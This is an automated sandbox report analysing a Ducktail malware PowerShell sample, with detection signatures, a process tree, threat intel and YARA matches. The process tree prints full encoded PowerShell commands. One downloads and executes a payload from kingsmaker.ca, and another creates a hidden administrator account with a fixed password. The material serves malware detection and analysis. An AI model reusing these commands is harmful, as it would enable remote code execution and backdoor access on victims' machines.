Edit tour

Windows Analysis Report
kingsmaker_6.ca.ps1

Overview

General Information

Sample name:	kingsmaker_6.ca.ps1
Analysis ID:	1565058
MD5:	5705390f445a1b38b4c19461d81a9237
SHA1:	fa9112a883c4fc8e4eb0b425e2c7462c6fee3877
SHA256:	2a5101990c3fbe7274c5bf8bd72ba0f2c1d839eac121858602843f7702728015
Tags:	kingsmaker-caps1user-JAMESWT_MHT
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Ducktail

AI detected suspicious sample

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Potential dropper URLs found in powershell memory

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Suspicious powershell command line found

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7728 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 7956 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 7972 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9F33.tmp" "c:\Users\user\AppData\Local\Temp\plizasuj\CSCCBC46C10AB9F47138B8378156B25D455.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7256 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 1928 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Company Booklet.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6792 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,3827613788604164973,16570324060737395036,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3032 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3688 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 8384 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

svchost.exe (PID: 6108 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svczHost.exe (PID: 8768 cmdline: C:\Windows\Temp\svczHost.exe cakoi7 kingsmaker.ca MD5: EB57894A8FF610DF55C97E427D0DDD7B)

conhost.exe (PID: 8776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8824 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 8872 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8948 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 8884 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 9072 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7728	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 7728	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x38ea68:$b1: ::WriteAllBytes( 0x3bb525:$b1: ::WriteAllBytes( 0x14e67e:$b2: ::FromBase64String( 0x153351:$b2: ::FromBase64String( 0x153acd:$b2: ::FromBase64String( 0x153b41:$b2: ::FromBase64String( 0x15e316:$b2: ::FromBase64String( 0x2964bc:$b2: ::FromBase64String( 0x296cfc:$b2: ::FromBase64String( 0x296f74:$b2: ::FromBase64String( 0x2aabae:$b2: ::FromBase64String( 0x2ab10b:$b2: ::FromBase64String( 0x2ab51b:$b2: ::FromBase64String( 0x2ab72c:$b2: ::FromBase64String( 0x2ab841:$b2: ::FromBase64String( 0x2ab8ac:$b2: ::FromBase64String( 0x2ab90f:$b2: ::FromBase64String( 0x2ab973:$b2: ::FromBase64String( 0x2ab9cf:$b2: ::FromBase64String( 0x2aba6c:$b2: ::FromBase64String( 0x2abad5:$b2: ::FromBase64String(
